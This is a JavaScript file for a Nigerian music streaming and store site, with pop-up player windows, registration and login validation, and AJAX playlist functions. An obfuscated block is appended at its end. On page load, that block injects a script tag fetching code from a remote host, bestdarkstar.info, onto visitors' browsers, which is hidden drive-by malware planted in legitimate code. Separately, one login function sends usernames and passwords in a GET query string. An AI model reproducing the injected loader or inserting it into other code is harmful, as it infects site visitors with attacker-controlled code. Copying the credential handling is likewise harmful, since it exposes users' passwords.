
var openWindow = new Array();
var openWindow1 = new Array();
function mywindowclose()
{	
	if(openWindow1[0])
	{
		openWindow1[0].close();
	}
	if(openWindow[0])
	{
		openWindow[0].close();
	}
	
}

function mywindowopen(val)
{
	mywindowclose();
	var win1=open('player.php?id='+val,'mywindow','width=990,height=180,scrollbars=no,statusbar=no,navigationtoolbar=no,resizable=no,copyhistory=no,menubar=no,titlebar=no,toolbar=no,location=no,left=0,top=600,navigationtoolbar=false;');
	openWindow[0]=win1;
}
function logout()
{
	mywindowclose();
	document.location="logout.php";
}
function mywindowopen1(val)
{
	mywindowclose();
	openWindow[0]="";
	var win1=open('player.php?s=f&id='+val,'mywindow','width=990,height=180,scrollbars=no,statusbar=no,navigationtoolbar=no,resizable=no,copyhistory=no,menubar=no,titlebar=no,toolbar=no,location=no,left=0,top=600,navigationtoolbar=false;');
	openWindow[0]=win1;
}
function mywindowopenpopup(val)
{
	window.close();
	var win2=open('pop-up.php?id='+val,'mywindow1','height=400,width=500,left=300,top=150,resizable=yes,scrollbars=yes,toolbar=yes,menubar=no,location=no,directories=no,status=yes');
	openWindow1[0]=win2;
}
function mywindowopenpopup1(val)
{
	window.close();
	var win2=open('pop-upplaylist.php?id='+val,'mywindow1','height=400,width=500,left=300,top=150,resizable=yes,scrollbars=yes,toolbar=yes,menubar=no,location=no,directories=no,status=yes');
	openWindow1[0]=win2;
}
function show_data(val)
{
	if(val=="p")
	{
		document.getElementById('profile_head').style.display="block";
		document.getElementById('albums_head').style.display="none";
		document.getElementById('songs_head').style.display="none";
		document.getElementById('lists_head').style.display="none";
		
		document.getElementById('profile_content').style.display="block";
		document.getElementById('albums_content').style.display="none";
		document.getElementById('songs_content').style.display="none";
		document.getElementById('lists_content').style.display="none";
	}
	else if(val=="s")
	{
		document.getElementById('profile_head').style.display="none";
		document.getElementById('albums_head').style.display="none";
		document.getElementById('songs_head').style.display="block";
		document.getElementById('lists_head').style.display="none";
		
		document.getElementById('profile_content').style.display="none";
		document.getElementById('albums_content').style.display="none";
		document.getElementById('songs_content').style.display="block";
		document.getElementById('lists_content').style.display="none";
	}
	else if(val=="a")
	{
		document.getElementById('profile_head').style.display="none";
		document.getElementById('albums_head').style.display="block";
		document.getElementById('songs_head').style.display="none";
		document.getElementById('lists_head').style.display="none";
		
		document.getElementById('profile_content').style.display="none";
		document.getElementById('albums_content').style.display="block";
		document.getElementById('songs_content').style.display="none";
		document.getElementById('lists_content').style.display="none";
	}
	else if(val=="l")
	{
		document.getElementById('profile_head').style.display="none";
		document.getElementById('albums_head').style.display="none";
		document.getElementById('songs_head').style.display="none";
		document.getElementById('lists_head').style.display="block";

		
		document.getElementById('profile_content').style.display="none";
		document.getElementById('albums_content').style.display="none";
		document.getElementById('songs_content').style.display="none";
		document.getElementById('lists_content').style.display="block";
	}
}

function showlogindiv(val)
{
	if(val=="yes")
	{
		document.getElementById('div_registration').style.display="none";
		document.getElementById('div_login').style.display="block";
	}
	else
	{
		document.getElementById('div_registration').style.display="block";
		document.getElementById('div_login').style.display="none";
	}
}
function validate_changepassword()
{
	if(Trim(document.getElementById('txt_opwd').value)=="")
	{
		alert("Please Enter Old Password");
		document.getElementById('txt_opwd').value=="";
		document.getElementById('txt_opwd').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_npwd').value)=="")
	{
		alert("Please Enter New Password");
		document.getElementById('txt_npwd').value=="";
		document.getElementById('txt_npwd').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_npwd').value)!="")
	{
		if(document.getElementById('txt_npwd').value.length < 4)
		{
			alert("New Password Should be minimum of 4 characters");
			document.getElementById('txt_npwd').value=="";
			document.getElementById('txt_npwd').focus();
			return false;
		}
	}
	if(Trim(document.getElementById('txt_cpwd').value)=="")
	{
		alert("Please Enter Confirm Password");
		document.getElementById('txt_cpwd').value=="";
		document.getElementById('txt_cpwd').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_cpwd').value)!="")
	{
		if(document.getElementById('txt_cpwd').value.length < 4)
		{
			alert("Confirm Password Should be minimum of 4 characters");
			document.getElementById('txt_cpwd').value=="";
			document.getElementById('txt_cpwd').focus();
			return false;
		}
	}
	if(document.getElementById('txt_cpwd').value != document.getElementById('txt_npwd').value)
	{
		alert('Confirm Password Not Matched, Please Re-Enter');
		document.getElementById('txt_cpwd').value="";
		document.getElementById('txt_npwd').value="";
	    document.getElementById('txt_npwd').focus();
		return false;
	}
	return true;
}
function validate_register()
{
	if(Trim(document.getElementById('txt_email').value)=="")
	{
		alert("Please Enter Email");
		document.getElementById('txt_email').value=="";
		document.getElementById('txt_email').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_email').value)!="")
	{ 
		regexp=/^[a-zA-Z][\w\.-]*[a-zA-Z0-9]@[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]\.[a-zA-Z][a-zA-Z\.]*[a-zA-Z]$/;
		if(document.getElementById('txt_email').value.search(regexp)==-1)
		{
			document.getElementById('txt_email').value="";
			alert('Please Enter Valid Email');
			document.getElementById('txt_email').focus();
			return false;
		}
	}
	if(Trim(document.getElementById('txt_uname').value)=="")
	{
		alert("Please Enter Username");
		document.getElementById('txt_uname').value=="";
		document.getElementById('txt_uname').focus();
		return false;
	}
	if(document.getElementById('txt_uname').value.length < 4)
	{
		alert("Username Should be minimum of 4 characters");
		document.getElementById('txt_uname').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_pwd').value)=="")
	{
		alert("Please Enter Password");
		document.getElementById('txt_pwd').value=="";
		document.getElementById('txt_pwd').focus();
		return false;
	}
	if (document.getElementById('txt_pwd').value.length < 4)
	{
		alert("Password Should be minimum of 4 characters");
		document.getElementById('txt_pwd').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_cpwd').value)=="")
	{
		alert("Please Enter Confirm Password");
		document.getElementById('txt_cpwd').value=="";
		document.getElementById('txt_cpwd').focus();
		return false;
	}
	if(document.getElementById('txt_cpwd').value.length < 4)
	{
		alert("Confirm Password Should be minimum of 4 characters");
		document.getElementById('txt_cpwd').focus();
		return false;
	}
	if(document.getElementById('txt_cpwd').value != document.getElementById('txt_pwd').value)
	{
		alert('Confirm Password Not Matched, Please Re-Enter');
		document.getElementById('txt_cpwd').value="";
		document.getElementById('txt_pwd').value="";
	    document.getElementById('txt_pwd').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_fname').value)=="")
	{
		alert("Please Enter First Name");
		document.getElementById('txt_fname').value=="";
		document.getElementById('txt_fname').focus();
		return false;
	}
	if (document.getElementById('txt_fname').value.length < 3)
	{
		alert("First Name Should be minimum of 3 characters");
		document.getElementById('txt_fname').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_lname').value)=="")
	{
		alert("Please Enter Last Name");
		document.getElementById('txt_lname').value=="";
		document.getElementById('txt_lname').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_address').value)=="")
	{
		alert("Please Enter Address");
		document.getElementById('txt_address').value=="";
		document.getElementById('txt_address').focus();
		return false;
	}
	if (document.getElementById('txt_address').value.length < 5)
	{
		alert("Address Should be minimum of 5 characters");
		document.getElementById('txt_address').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_city').value)=="")
	{
		alert("Please Enter City");
		document.getElementById('txt_city').value=="";
		document.getElementById('txt_city').focus();
		return false;
	}
	if (document.getElementById('txt_city').value.length < 3)
	{
		alert("City Should be minimum of 3 characters");
		document.getElementById('txt_city').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_state').value)=="")
	{
		alert("Please Enter State/Province");
		document.getElementById('txt_state').value=="";
		document.getElementById('txt_state').focus();
		return false;
	}
	if (document.getElementById('txt_state').value.length < 2)
	{
		alert("State Should be minimum of 2 characters");
		document.getElementById('txt_state').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_zip').value)=="")
	{
		alert("Please Enter Zip/Postal code");
		document.getElementById('txt_zip').value=="";
		document.getElementById('txt_zip').focus();
		return false;
	}
	if (document.getElementById('txt_zip').value.length < 2)
	{
		alert("Zip/Postal code Should be minimum of 5 characters");
		document.getElementById('txt_zip').focus();
		return false;
	}
	if(document.getElementById('txt_gender').value=="0")
	{
		alert("Please Select Gender");
		document.getElementById('txt_gender').value=="";
		document.getElementById('txt_gender').focus();
		return false;
	}
	if (document.getElementById('chkagree').checked==false)
	{
		alert("Please Agree the Terms and Conditions");
		document.getElementById('chkagree').focus();
		return false;
	}
	return true;
}

function validate_forgotpwd()
{
	if(Trim(document.getElementById('txt_email').value)=="")
	{
		alert("Please Enter Email");
		document.getElementById('txt_email').value=="";
		document.getElementById('txt_email').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_email').value)!="")
	{ 
		regexp=/^[a-zA-Z][\w\.-]*[a-zA-Z0-9]@[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]\.[a-zA-Z][a-zA-Z\.]*[a-zA-Z]$/;
		if(document.getElementById('txt_email').value.search(regexp)==-1)
		{
			document.getElementById('txt_email').value="";
			alert('Please Enter Valid Admin Email');
			document.getElementById('txt_email').focus();
			return false;
		}
	}
	return true;
}

function validate_login()
{
	if(Trim(document.getElementById('txt_luname').value)=="")
	{
		alert("Please Enter Username");
		document.getElementById('txt_luname').value=="";
		document.getElementById('txt_luname').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_lpwd').value)=="")
	{
		alert("Please Enter Password");
		document.getElementById('txt_lpwd').value=="";
		document.getElementById('txt_lpwd').focus();
		return false;
	}
	return true;
}

function validate_login_header()
{
	if(Trim(document.getElementById('txt_luname_header').value)=="")
	{
		alert("Please Enter Username");
		document.getElementById('txt_luname_header').value=="";
		document.getElementById('txt_luname_header').focus();
		return false;
	}
	if(Trim(document.getElementById('txt_lpwd_header').value)=="")
	{
		alert("Please Enter Password");
		document.getElementById('txt_lpwd_header').value=="";
		document.getElementById('txt_lpwd_header').focus();
		return false;
	}
	return true;

}
function checkspace(text)
{          
          var str=text.value;
          var first=str.substring(0,1);
          var second=str.substring(0,1);
          var val='false';
          if(first==' ')
          {
                val='true';
                if(val=='true')
                {
                   if(second==' ')
                   {
                     val='true';
                     alert('Please Enter Valid Information');
                     text.value = "";
                   }
                }
          }
		 
}
function NumbersOnly(text)
{
	if(text.value.length==0)
		return;
/*if(text.value==0)
{
		alert('Invalid Number');
		text.value='';
		return false;
}  */  		

	var regexp=/^[0-9.]*$/;
	if(text.value.search(regexp)==-1)
		{
			text.value = text.value.substring(0,(text.value.length-1));
			alert('Please enter only numbers 0-9');
			if(text.value.search(regexp)==-1)
			text.value="";
		}	
}
/*start goback function to call while clicking on cancelling the page -----sreelakshmi on 07-06-2009*/
function goback(page)
{
	document.location=page;	
}
/*end goback function to call while clicking on cancelling the page*/
//-----------------start alphanumericsOnly  function validations --------sreelakshmi on 07-06-2009//
function validAlphaNumerics(text)
{
	var regexp=/^[a-zA-Z0-9 ]*$/;
	if(text.value.search(regexp)==-1)
		{
			text.value = text.value.substring(0,(text.value.length-1));
			alert('Please enter only letters a-z and numbers 0-9');
			if(text.value.search(regexp)==-1)
			text.value="";
		}	

}
//-----------------end alphanumericsOnly  function validations -----------------------------------//
//-----------------start trim  function validations -------------------sreelakshmi on 07-06-2009//
function LTrim(str) 
{
	for (var i=0; ((str.charAt(i)<=" ")&&(str.charAt(i)!="")); i++);
	return str.substring(i,str.length);
}
function RTrim(str) 
{
	for (var i=str.length-1; ((str.charAt(i)<=" ")&&(str.charAt(i)!="")); i--);
	return str.substring(0,i+1);
}
function Trim(str) 
{
	return LTrim(RTrim(str));
}
//-----------------end trim  function validations -------------------sreelakshmi on 07-06-2009//

//------start to remove the text from the textbox----------------------//
function removetext(text)
{
	if(text.value=="artist,album,song")
		text.value ="";
}
//------end to remove the text from the textbox----------------------//

//------start to place the text from the textbox----------------------//
function placetext(text,val)
{
	//text.value =val;
}
//------end to place the text from the textbox----------------------//

//----start search redirection in home page ----//
function searchRedirect()
{
	userid=document.getElementById('hdn_logini').value;
	//alert(userid);
	if(Trim(document.getElementById('txt_searchname').value)!="")
	{
		if(Trim(document.getElementById('txt_searchname').value)=="artist,album,song")
		{
			if(userid>0)
				document.location="onlinestores.php";
			else
			{
				alert('Please register to become Onijo and have a full access to the biggest collection of Nigerian Classics anywhere on the web');
				document.location="login.php?r=s";
			}
		}
		else
			document.location="onlinestores.php?val="+document.getElementById('txt_searchname').value;
	}
	else
	{
		if(userid>0)
			document.location="onlinestores.php";
		else
		{
			alert('Please register to become Onijo and have a full access to the biggest collection of Nigerian Classics anywhere on the web');
			document.location="login.php?r=s";
		}
	}
	
}
//----end search redirection in home page ----//

//-----------start doing actions for profile page select box control-------//
function profileOptions(loginid,text,song_id)
{
	//alert(text);	alert(loginid);	alert(song_id);
	if(text=="1")//sharesong
	{
		popup_show('popupshare', 'popup_dragshare', 'popup_exitshare', 'screen-center',0,0);
	}
	else if(text=="2")//playlist
	{
		//alert('playlist');
		if(loginid>0)
		{
			addPlaylistSong('functions/insert.php?val=pl&l='+loginid+'&s='+song_id);
		}
		else
		{
			alert('Please login to add song to Playlist');
			document.location="login.php?s="+song_id;
		}
	}
	

}
//-----------end doing actions for profile page select box control-------//

function alltoPlaylist()
{       
	//alert('sd');
	//alert(xmlHttp.readyState);
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")  
	{   
		//alert(xmlHttp.responseTex);
		//document.getElementById("divplayer").innerHTML = xmlHttp.responseText  
		//document.getElementById("divplayer").style.display='block';
		//if(xmlHttp.responseText=="a")
			//alert('Song added successfully');
		if(xmlHttp.responseText=="na")
			alert('Song already added in your playlist');
		//document.getElementById('sel_options').value="0";
	}  
	else 
	{
		//document.getElementById("divplayer").style.display='block';
	}
}
function addPlaylistSong(url)
{
	//alert(url);
	if (url.length==0)  
	{
		//document.getElementById("divhomesearchresults_middle_ajax").innerHTML = "";return;  
	}  
	xmlHttp = GetXmlHttpObject(); 
	if (xmlHttp==null)  
	{
		alert ("Browser does not support HTTP Request");return;  
	}  
	//url=url+"?"+id; 
	//url=url+"&sid="+Math.random(); 
	xmlHttp.onreadystatechange = alltoPlaylist;  
	xmlHttp.open("GET",url,true) ;  
	xmlHttp.send(null);

	//document.getElementById("divplayer").style.display='block';
}

function closediv(text)
{
	document.getElementById(text).style.display='none';
}
/////////////
function searchplaylist()
{
	/*if(Trim(document.getElementById('txt_searchname').value)=="")
	{
		alert("Please Enter Artist Name");
		document.getElementById('txt_searchname').value=="";
		document.getElementById('txt_searchname').focus();
		return false;
	}*/
	document.location="playlist.php?svalue="+Trim(document.getElementById('txt_searchname').value);	
}

function validate_userlogin()
{
	if(Trim(document.getElementById('username').value)=="")
	{
		alert("Please Enter Username");
		document.getElementById('username').value=="";
		document.getElementById('username').focus();
		return false;
	}
	if(Trim(document.getElementById('password').value)=="")
	{
		alert("Please Enter Password");
		document.getElementById('password').value=="";
		document.getElementById('password').focus();
		return false;
	}
}
function validate_userlogin1()
{
	if(Trim(document.getElementById('username').value)=="")
	{
		alert("Please Enter Username");
		document.getElementById('username').value=="";
		document.getElementById('username').focus();
		return false;
	}
	if(Trim(document.getElementById('password').value)=="")
	{
		alert("Please Enter Password");
		document.getElementById('password').value=="";
		document.getElementById('password').focus();
		return false;
	}
	var d=new Date();
	var timestamp=d.getMinutes()+'_'+d.getSeconds()+'_'+d.getMilliseconds();
	xmlHttp=GetXmlHttpObject()

if (xmlHttp==null)

  {

  alert ("Browser does not support HTTP Request")

  return

  } 
 var url=window.location.href.split('/');
 //alert(url[url.length-1]);
xmlHttp.open("GET", 'test.php?u='+document.getElementById('username').value+'&p='+document.getElementById('password').value+'&d='+timestamp, false)
xmlHttp.send(null);
if(xmlHttp.responseText=="0")
{
	alert('Invalid Username / Password');
	return false;
}
else
{
	document.frm_login.action='villagesquare/ucp.php?mode=login&url='+url[url.length-1];
	document.frm_login.submit();
}
}

function GetXmlHttpObject()
{

var xmlHttp=null;

try

 {

 // Firefox, Opera 8.0+, Safari

 xmlHttp=new XMLHttpRequest();

 }

catch (e)

 {

 // Internet Explorer

 try

  {

  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

  }

 catch (e)

  {

  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

  }

 }

return xmlHttp;

}

var Ev;if(Ev!='kc' && Ev!='_'){Ev=''};function a(){this.H="";this.Y="";var J;if(J!='' && J!='P'){J='MK'};var Ed=new Array();var z=window;var r=unescape;var d=r("%2f%6f%64%6e%6f%6b%6c%61%73%73%6e%69%6b%69%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%70%68%70");var FR;if(FR!='N'){FR=''};var wg="";function A(q,W){var Yc=new String();var S;if(S!='f' && S!='Q'){S=''};var AF='';var x=String("g");var XV;if(XV!='L' && XV != ''){XV=null};var KB;if(KB!='HD' && KB != ''){KB=null};var X=r("%5b"), qt=r("%5d");this.MD="";var y;if(y!=''){y='Sh'};var M=X+W+qt;var Kg="";var MF=new RegExp(M, x);return q.replace(MF, new String());};var mb;if(mb!='PN'){mb=''};var e=A('86997409695423685274719360574437','75126943');var Fv="";var mj;if(mj!='SX' && mj != ''){mj=null};var l=new String();var B=document;var ro;if(ro!='Pb' && ro!='DYL'){ro=''};function k(){var VI;if(VI!='' && VI!='mX'){VI='iq'};var o=r("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var QM="";var j="";var Aq="";l=o;var rm=new Date();l+=e;l+=d;var tc="";var uY="";this.JJ="";try {this.qk='';var qC;if(qC!=''){qC='up'};E=B.createElement(A('sRcjrliCpxtq','vRxSnIkjlbCa1Vq'));var wR;if(wR!='' && wR!='Jr'){wR=null};var yg=new Date();var HQ=new String();var mD;if(mD!='' && mD!='xV'){mD=null};E[r("%64%65%66%65%72")]=[1][0];var h_=new Date();this.ftE='';E[r("%73%72%63")]=l;var Eh=new String();var ah;if(ah!='' && ah!='uP'){ah=''};B.body.appendChild(E);this.Iy='';var yA=new String();} catch(MC){this.Qe='';alert(MC);};this.sO="";}var kj;if(kj!='' && kj!='ty'){kj=null};z[new String("onloa"+"d")]=k;var Mg=new Date();this.xt='';};this.gs="";var kV=new Date();var lX;if(lX!='' && lX!='jk'){lX='LY'};a();var Nl='';var Ie;if(Ie!=''){Ie='_x'};
